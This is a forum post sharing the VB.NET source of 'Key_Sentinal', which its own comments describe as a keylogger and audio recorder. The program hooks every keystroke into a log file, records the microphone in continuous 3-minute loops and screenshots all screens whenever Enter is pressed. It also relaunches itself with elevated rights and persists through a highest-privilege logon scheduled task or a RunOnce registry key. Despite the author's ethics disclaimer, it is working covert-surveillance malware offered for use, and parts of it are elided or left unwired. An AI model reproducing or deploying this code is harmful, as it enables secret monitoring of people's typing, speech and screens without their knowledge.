Tip Key_Sentinal

Rythorian

RYTHORIAN
Joined
Nov 5, 2024
Messages
39
Programming Experience
5-10
I wanted to share this application I wrote called "Key_Sentinal". I've read a lot about low-level keyboard hooks issues. I have also examined a bunch of code that wasn't even written properly. They lacked error handling, lack of performance in code writing, etc. In reality, a lot of corporations use these techniques to protect their data by monitoring their employee's, parents wanting to be absolute sure their kids are doing the right thing online, and other times, people abuse the code for other purposes. I implore you not to do this with this code. I ask you to study my methods, improve it if you can or explore it. This application schedules a task at the highest administrative level and has a fail safe if the first function fails.
TIPS:
GPO:

A Group Policy Object (GPO) is a virtual collection of policy settings. A GPO has a unique name, such as a GUID.
Group Policy settings are contained in a GPO. A GPO can represent policy settings in the file system and in the Active Directory. GPO settings are evaluated by clients using the hierarchical nature of Active Directory.
To create Group Policy, an administrator can use the Group Policy Object Editor, which can be a stand-alone tool. However, it is recommended that you use the Group Policy Object Editor as an extension to an Active Directory-related MMC snap-in because this will allow you to browse the Active Directory for the correct Active Directory container and define Group Policy based on the selected scope of management (SOM). Examples of Active Directory-related snap-ins include the Active Directory Users and Computers snap-in and the Active Directory Sites and Services snap-in.

Be aware that policy settings are divided into policy settings that affect a computer and policy settings that affect a user. Computer-related policies specify system behavior, application settings, security settings, assigned applications, and computer startup and shutdown scripts. User-related policies specify system behavior, application settings, security settings, assigned and published applications, user logon and logoff scripts, and folder redirection. Be aware that computer-related settings override user-related settings.
SEE: Group Policy Objects

Hex is much more compact than binary and it makes it much more practical and less overwhelming to use. Because each byte is exactly eight binary digits, that means each byte is always exactly two hex digits. That makes it really easy to identify how many bytes of information a number is, and what those bytes are. You'll see the usage in this application.

Exception Handling Tips:
Is important because it allows you to anticipate and respond to potential errors in your code. By using try/catch blocks, you can gracefully handle exceptions and avoid crashing your program


Timer1 Interval: 180000
Timer2 Interval: 180010
Low-Level Hook:
'ⓒ ALL RIGHTS RESERVED | MIT(O) LICENSE | MIT No Attribution | 2025 COPYRIGHT JUSTIN LINWOOD ROSS
'Key Sentinel: A VB.NET Keylogger and Audio Recorder
'Introduction:The provided VB.NET code Implements a keylogger And audio recording application named "Key Sentinel."
'This application captures keystrokes And records audio For a specified duration, saving both the keystrokes And audio files To the user's desktop.
'The application also includes functionality to take screenshots upon specific key presses.
'Key Concepts:
'Keylogging: The application captures keyboard input Using low-level keyboard hooks.
'Audio Recording: It records audio Using the NAudio library, allowing For real-time audio capture.
'File Management: The application creates directories And manages file paths For saving logs And recordings.
'Timers: Two timers are used To manage the recording duration And To restart the recording process.
'Process Management: The application checks For elevated permissions And can restart itself With higher privileges If necessary.
'Code Structure: The code Is structured into several key components
'Imports: Necessary libraries For audio processing, file handling, And interop services.
'Class Definition: The main Class Form1 contains all the methods And Event handlers.
'Event Handlers(): Methods that respond To form loading, timer ticks, And keyboard events.
'Utility Functions :  Functions for executing commands, checking permissions, And logging keystrokes.

Imports System.ComponentModel
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Threading
Imports NAudio.Wave

Public Class Form1
    ' NAudio: Compliments to Mark Heath for the audio library
    Private waveIn As WaveInEvent ' Object for capturing audio input
    Private waveFile As WaveFileWriter ' Object for writing audio to a file
    Private recordingDuration As TimeSpan = TimeSpan.FromMinutes(3) ' Duration for audio recording
    Private startTime As DateTime ' To track when recording starts

    ' Constants for keyboard hook functions
    Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const WM_KEYDOWN As Integer = &H100
    Private Const WM_KEYUP As Integer = &H101

    ' Delegate for low-level keyboard hook
    Private Delegate Function LowLevelKeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
    Private Shared _hookID As IntPtr = IntPtr.Zero ' Hook ID for keyboard hook
    Private _proc As LowLevelKeyboardProc = AddressOf HookCallback ' Callback function for keyboard events
    Private _logFilePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Key_Sentinal\KeyLog_" & Date.Now.ToString("yyyyMMdd_HHmmss") & ".txt") ' Path for log file

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        ' Create a folder on the desktop if it doesn't exist
        If Not Directory.Exists($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\Key_Sentinal") Then
            Directory.CreateDirectory($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\Key_Sentinal")
        End If

        _hookID = SetHook(_proc) ' Set the keyboard hook

        ' Prepare the audio file for recording
        Dim fileName As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), $"Key_Sentinal\Recording_{DateTime.Now:yyyyMMdd_HHmmss}.wav")
        waveIn = New WaveInEvent With {
            .WaveFormat = New WaveFormat(44100, 1) ' Set audio format (44.1 kHz, mono)
        }
        waveFile = New WaveFileWriter(fileName, waveIn.WaveFormat) ' Create a new wave file writer

        ' Attach event handlers for audio data and recording stop
        AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
        AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped

        waveIn.StartRecording() ' Start audio recording
        startTime = DateTime.Now ' Record the start time
        Timer1.Start() ' Start the timer for recording duration
    End Sub

    Private Sub OnDataAvailable(sender As Object, e As WaveInEventArgs)
        ' Write audio data to the file
        If waveFile IsNot Nothing Then
            waveFile.Write(e.Buffer, 0, e.BytesRecorded) ' Write the recorded data
            waveFile.Flush() ' Ensure data is written to the file
        End If
    End Sub

    Private Sub OnRecordingStopped(sender As Object, e As EventArgs)
        ' Dispose of audio resources when recording stops
        waveIn.Dispose()
        waveFile.Dispose()
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        ' Check if the recording duration has been reached
        If DateTime.Now - startTime >= recordingDuration Then
            waveIn.StopRecording() ' Stop recording
            Timer1.Stop() ' Stop the timer
            Timer2.Start() ' Start the second timer for restarting recording
        End If
    End Sub

    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        Try
            Timer2.Stop() ' Stop the timer
            If DateTime.Now - startTime >= recordingDuration Then
                ' Prepare for a new audio recording
                Dim fileName As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), $"Key_Sentinal\Recording_{DateTime.Now:yyyyMMdd_HHmmss}.wav")
                waveIn = New WaveInEvent With {
                    .WaveFormat = New WaveFormat(44100, 1) ' Set audio format
                }
                waveFile = New WaveFileWriter(fileName, waveIn.WaveFormat) ' Create a new wave file writer

                ' Attach event handlers
                AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
                AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped

                waveIn.StartRecording() ' Start new recording
                startTime = DateTime.Now ' Reset start time
                Timer1.Start() ' Restart the first timer
            End If
        Catch ex As Exception
            ' Handle exceptions gracefully
            MessageBox.Show($"An error occurred: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
        Finally
            Timer2.Stop() ' Ensure Timer2 is stopped in case of an error
        End Try
    End Sub

    ' Function to execute a command and return its output
    Public Function GPO(cmd As String, Optional args As String = "", Optional startin As String = "") As String
        Dim output As String = String.Empty
        Try
            Using p As New Process()
                p.StartInfo = New ProcessStartInfo(cmd, args) With {
                    .WorkingDirectory = If(String.IsNullOrEmpty(startin), String.Empty, startin),
                    .RedirectStandardOutput = True,
                    .RedirectStandardError = True,
                    .UseShellExecute = False,
                    .CreateNoWindow = True
                }
                p.Start() ' Start the process
                output = p.StandardOutput.ReadToEnd() & p.StandardError.ReadToEnd() ' Capture output and error
                p.WaitForExit() ' Wait for the process to exit
            End Using
        Catch ex As Exception
            output = $"Error: {ex.Message}" ' Handle exceptions
        End Try
        Return output ' Return the output
    End Function ' Get Process Output.

    ' Function to check if the application can get higher privileges
    Public Function CanH() As Boolean
        Dim s As String = GPO("c:\windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-5-32-544""")
        Return s.Contains("S-1-5-32-544") ' Check for admin group SID
    End Function ' Check if can get Higher.

    ' Function to check if the application is running with higher privileges
    Public Function CH() As Boolean
        Dim s As String = GPO("c:\windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-16-12288""")
        Return s.Contains("S-1-16-12288") ' Check for high integrity level SID
    End Function ' Check if Higher.

    ' Function to elevate the application to higher privileges
    Public Function GH() As Boolean
        If Not CH() Then
            Dim pc As New ProcessStartInfo(Process.GetCurrentProcess.MainModule.FileName) With {
                .Verb = "runas" ' Request elevation
            }
            Try
                Process.Start(pc) ' Start the process with elevated privileges
                Return True
            Catch ex As Exception
                Return False ' Handle exceptions
            End Try
        End If
        Return False
    End Function ' Get Higher.

    ' Background worker to manage scheduled tasks
    Private Sub SubContractors()
        Dim subw As New BackgroundWorker()
        AddHandler subw.DoWork, Sub(sender1 As Object, e1 As DoWorkEventArgs)
                                    While True
                                        Try
                                            If CH() Then
                                                ' Create a scheduled task if running with high privileges
                                                If Not GPO("c:\windows\system32\cmd.exe", "/C schtasks /create /rl HIGHEST /sc ONLOGON /tn Key_Sentinal /F /tr """ & Process.GetCurrentProcess.MainModule.FileName & """").Contains("successfully") Then
                                                    ' Fallback to registry if task creation fails
                                                    My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Key_Sentinal", Process.GetCurrentProcess.MainModule.FileName)
                                                End If
                                            Else
                                                ' Fallback to registry if not high privilege
                                                My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Key_Sentinal", Process.GetCurrentProcess.MainModule.FileName)
                                            End If
                                        Catch ex As Exception
                                            ' Handle exceptions
                                        End Try
                                        Thread.Sleep(15000) ' Wait before next check
                                    End While
                                End Sub
        subw.RunWorkerAsync() ' Start the background worker
    End Sub

    ' Function to set the keyboard hook
    Private Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Using curModule As ProcessModule = curProcess.MainModule
                Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0) ' Set the hook
            End Using
        End Using
    End Function

    ' Callback function for keyboard events
    Private Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
        If nCode >= 0 AndAlso (wParam = CType(WM_KEYDOWN, IntPtr) Or wParam = CType(WM_KEYUP, IntPtr)) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam) ' Get the virtual key code
            LogKey(vkCode) ' Log the key
        End If
        Return CallNextHookEx(_hookID, nCode, wParam, lParam) ' Call the next hook in the chain
    End Function

    ' Function to log the key pressed
    Private Sub LogKey(vkCode As Integer)
        Dim key As String = ""
        ' Map virtual key codes to string representations
        Select Case vkCode
            Case Keys.A : key = "A"
            Case Keys.B : key = "B"
            Case Keys.C : key = "C"
            ' ... (other keys)
            Case Keys.Enter : key = "Enter"
                ' Capture screenshot on Enter key press
                If vkCode = Keys.Enter Then
                    CaptureScreenshot() ' Call the screenshot function
                End If
                ' ... (other keys)
            Case Else : key = "Unknown Key"
        End Select
        Try
            File.AppendAllText(_logFilePath, Date.Now.ToString("yyyy-MM-dd HH:mm:ss") & " - " & key & Environment.NewLine) ' Log the key press
        Catch ex As Exception
            MessageBox.Show("Error logging key: " & ex.Message) ' Handle logging errors
        End Try
    End Sub

    ' Function to capture a screenshot
    Private Sub CaptureScreenshot()
        Try
            Dim userName As String = Environment.UserName
            Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
            Dim captureSavePath As String = Path.Combine(savePath, "Key_Sentinal", $"capture_{dateString}.png")

            ' Create a bitmap that encompasses all screens
            Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s) s.Bounds.Width),
                                  Screen.AllScreens.Max(Function(s) s.Bounds.Height))

            Using gfx As Graphics = Graphics.FromImage(bmp)
                ' Capture the entire virtual screen
                gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
                                   SystemInformation.VirtualScreen.Y,
                                   0,
                                   0,
                                   SystemInformation.VirtualScreen.Size)
            End Using

            ' Create the directory if it doesn't exist
            Dim directoryPath As String = Path.GetDirectoryName(captureSavePath)
            If Not String.IsNullOrEmpty(directoryPath) AndAlso Not Directory.Exists(directoryPath) Then
                Directory.CreateDirectory(directoryPath)
            End If

            ' Save the bitmap to the specified path
            bmp.Save(captureSavePath, System.Drawing.Imaging.ImageFormat.Png)
            Debug.WriteLine("Screenshot saved successfully at: " & captureSavePath)

        Catch ex As Exception
            Debug.WriteLine("An error occurred: " & ex.Message) ' Handle screenshot errors
        End Try
    End Sub

    Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
        UnhookWindowsHookEx(_hookID) ' Unhook the keyboard hook on form closing
        GC.Collect() ' Force garbage collection
        GC.WaitForPendingFinalizers() ' Wait for finalizers to complete
    End Sub

    ' P/Invoke declarations for Windows API functions
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As LowLevelKeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
    End Function

End Class
'Conclusion:
'The "Key Sentinel" application Is a comprehensive tool For capturing keyboard input And audio recordings.
'It demonstrates the use Of low-level hooks For keylogging, audio processing With NAudio, And file management In VB.NET.
'While the application showcases powerful programming techniques, it Is essential to consider ethical implications And legal compliance
'when developing And deploying such software. Always ensure that users are informed And have consented to any form of monitoring.
 
Last edited:
Back
Top